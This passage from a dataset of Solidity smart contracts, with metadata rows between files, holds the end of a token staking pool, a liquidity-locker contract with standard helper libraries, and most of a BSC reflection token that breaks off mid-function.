bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
library SafeBEP20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IBEP20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IBEP20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IBEP20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
'SafeBEP20: approve from non-zero to non-zero allowance');
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IBEP20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IBEP20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value,
'SafeBEP20: decreased allowance below zero');
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IBEP20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, 'SafeBEP20: low-level call failed');
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), 'SafeBEP20: BEP20 operation did not succeed');
}
}
}
// import "@nomiclabs/buidler/console.sol";
contract LianaMaster {
using SafeMath for uint256;
using SafeBEP20 for IBEP20;
// Info of each user.
struct UserInfo {
uint256 amount;
uint256 rewardDebt;
uint256 rewardPending;
}
// Info of Pool
struct PoolInfo {
uint256 lastRewardBlock; // Last block number that Rewards distribution occurs.
uint256 accRewardPerShare; // Accumulated reward per share, times 1e12. See below.
}
// The LIANA TOKEN!
IBEP20 public syrup;
// rewards created per block.
uint256 public rewardPerBlock;
// Info.
PoolInfo public poolInfo;
// Info of each user that stakes Liana tokens.
mapping (address => UserInfo) public userInfo;
// addresses list
address[] public addressList;
// The block number when mining starts.
uint256 public startBlock;
// The block number when mining ends.
uint256 public bonusEndBlock;
event Deposit(address indexed user, uint256 amount);
event Withdraw(address indexed user, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 amount);
constructor(IBEP20 _syrup,
uint256 _rewardPerBlock,
uint256 _startBlock,
uint256 _endBlock) public {
syrup = _syrup;
rewardPerBlock = _rewardPerBlock;
startBlock = _startBlock;
bonusEndBlock = _endBlock;
// staking pool
poolInfo = PoolInfo({
lastRewardBlock: startBlock,
accRewardPerShare: 0
});
}
function addressLength() external view returns (uint256) {
return addressList.length;
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to) internal view returns (uint256) {
if (_to <= bonusEndBlock) {
return _to.sub(_from);
} else if (_from >= bonusEndBlock) {
return 0;
} else {
return bonusEndBlock.sub(_from);
}
}
// View function to see pending Tokens on frontend.
function pendingReward(address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo;
UserInfo storage user = userInfo[_user];
uint256 accRewardPerShare = pool.accRewardPerShare;
uint256 stakedSupply = syrup.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && stakedSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 tokenReward = multiplier.mul(rewardPerBlock);
accRewardPerShare = accRewardPerShare.add(tokenReward.mul(1e12).div(stakedSupply));
}
return user.amount.mul(accRewardPerShare).div(1e12).sub(user.rewardDebt).add(user.rewardPending);
}
// Update reward variables of the given pool to be up-to-date.
function updatePool() public {
if (block.number <= poolInfo.lastRewardBlock) {
return;
}
uint256 syrupSupply = syrup.balanceOf(address(this));
if (syrupSupply == 0) {
poolInfo.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(poolInfo.lastRewardBlock, block.number);
uint256 tokenReward = multiplier.mul(rewardPerBlock);
poolInfo.accRewardPerShare = poolInfo.accRewardPerShare.add(tokenReward.mul(1e12).div(syrupSupply));
poolInfo.lastRewardBlock = block.number;
}
// Deposit Liana tokens to LianaMaster for Reward allocation.
function deposit(uint256 _amount) public {
require (_amount > 0, 'amount 0');
UserInfo storage user = userInfo[msg.sender];
updatePool();
syrup.safeTransferFrom(address(msg.sender), address(this), _amount);
if (user.amount == 0 && user.rewardDebt == 0 && user.rewardPending ==0) {
addressList.push(address(msg.sender));
}
user.rewardPending = user.amount.mul(poolInfo.accRewardPerShare).div(1e12).sub(user.rewardDebt).add(user.rewardPending);
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(poolInfo.accRewardPerShare).div(1e12);
emit Deposit(msg.sender, _amount);
}
// Withdraw Liana tokens from LianaMaster.
function withdraw(uint256 _amount) public {
require (_amount > 0, 'amount 0');
UserInfo storage user = userInfo[msg.sender];
require(user.amount >= _amount, "withdraw: not enough");
updatePool();
syrup.safeTransfer(address(msg.sender), _amount);
user.rewardPending = user.amount.mul(poolInfo.accRewardPerShare).div(1e12).sub(user.rewardDebt).add(user.rewardPending);
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(poolInfo.accRewardPerShare).div(1e12);
emit Withdraw(msg.sender, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw() public {
UserInfo storage user = userInfo[msg.sender];
syrup.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
}
| 311,627 | 13,910 |
611e2c32b0571c11b67a50b8c566fb85615bddb941361ff1cb674031e9d0616c
| 28,552 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/71/7171ca2a15fda16e3012b2253c74b57f417d6730_LiquidityLocker.sol
| 3,598 | 14,475 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract LiquidityLocker is Ownable{
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct Items {
IERC20 token;
address withdrawer;
uint256 amount;
uint256 unlockTimestamp;
bool withdrawn;
}
uint256 public depositsCount;
mapping (address => uint256[]) private depositsByTokenAddress;
mapping (address => uint256[]) public depositsByWithdrawer;
mapping (uint256 => Items) public lockedToken;
mapping (address => mapping(address => uint256)) public walletTokenBalance;
uint256 public lockFee = 0.1 ether;
address public marketingAddress;
event Withdraw(address withdrawer, uint256 amount);
event Lock(address token, uint256 amount, uint256 id);
constructor() {
marketingAddress = msg.sender;
}
function lockTokens(IERC20 _token, address _withdrawer, uint256 _amount, uint256 _unlockTimestamp) external returns (uint256 _id) {
require(_amount > 0, 'Token amount too low!');
require(_unlockTimestamp < 10000000000, 'Unlock timestamp is not in seconds!');
require(_unlockTimestamp > block.timestamp, 'Unlock timestamp is not in the future!');
require(_token.allowance(msg.sender, address(this)) >= _amount, 'Approve tokens first!');
//require(msg.value >= lockFee, 'Need to pay lock fee!');
uint256 beforeDeposit = _token.balanceOf(address(this));
_token.safeTransferFrom(msg.sender, address(this), _amount);
uint256 afterDeposit = _token.balanceOf(address(this));
_amount = afterDeposit.sub(beforeDeposit);
//payable(marketingAddress).transfer(msg.value);
walletTokenBalance[address(_token)][msg.sender] = walletTokenBalance[address(_token)][msg.sender].add(_amount);
_id = ++depositsCount;
lockedToken[_id].token = _token;
lockedToken[_id].withdrawer = _withdrawer;
lockedToken[_id].amount = _amount;
lockedToken[_id].unlockTimestamp = _unlockTimestamp;
lockedToken[_id].withdrawn = false;
depositsByTokenAddress[address(_token)].push(_id);
depositsByWithdrawer[_withdrawer].push(_id);
emit Lock(address(_token), _amount, _id);
return _id;
}
function extendLock(uint256 _id, uint256 _duration) external {
require(msg.sender == lockedToken[_id].withdrawer);
require(_duration < 10000000000 && _duration > 1, 'duration is invalid!');
lockedToken[_id].unlockTimestamp += _duration;
}
function withdrawTokens(uint256 _id) external {
require(block.timestamp >= lockedToken[_id].unlockTimestamp, 'Tokens are still locked!');
require(msg.sender == lockedToken[_id].withdrawer, 'You are not the withdrawer!');
require(!lockedToken[_id].withdrawn, 'Tokens are already withdrawn!');
lockedToken[_id].withdrawn = true;
walletTokenBalance[address(lockedToken[_id].token)][msg.sender] = walletTokenBalance[address(lockedToken[_id].token)][msg.sender].sub(lockedToken[_id].amount);
emit Withdraw(msg.sender, lockedToken[_id].amount);
lockedToken[_id].token.safeTransfer(msg.sender, lockedToken[_id].amount);
}
function setMarketingAddress(address _marketingAddress) external onlyOwner {
marketingAddress = _marketingAddress;
}
function setLockFee(uint256 _lockFee) external onlyOwner {
lockFee = _lockFee;
}
function getDepositsByTokenAddress(address _token) view external returns (uint256[] memory) {
return depositsByTokenAddress[_token];
}
function getDepositsByWithdrawer(address _withdrawer) view external returns (uint256[] memory) {
return depositsByWithdrawer[_withdrawer];
}
function getTokenTotalLockedBalance(address _token) view external returns (uint256) {
return IERC20(_token).balanceOf(address(this));
}
function getSelfAddress() public view returns(address) {
return address(this);
}
}
| 33,383 | 13,911 |
7008d85c651c7bbe0c4ee62ae696f56d3e5d7e1c151c92cffaffcfc13fdc9e2a
| 29,102 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x4723dEbCbd8E04a80352A7A0c4a5bC07E9773E41/contract.sol
| 5,131 | 18,398 |
// http://lightningtoken.org/
// https://t.me/LightningToken
// http://lightningtoken.org/
// https://t.me/LightningToken
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract LIGHTToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint8 private constant _decimals = 8;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 50000000 * 10 ** uint256(_decimals);
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'lightningtoken.org';
string private constant _symbol = 'LIGHT';
uint256 private _taxFee = 150;
uint256 private _burnFee = 150;
uint private _max_tx_size = 500000 * 10 ** uint256(_decimals);
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
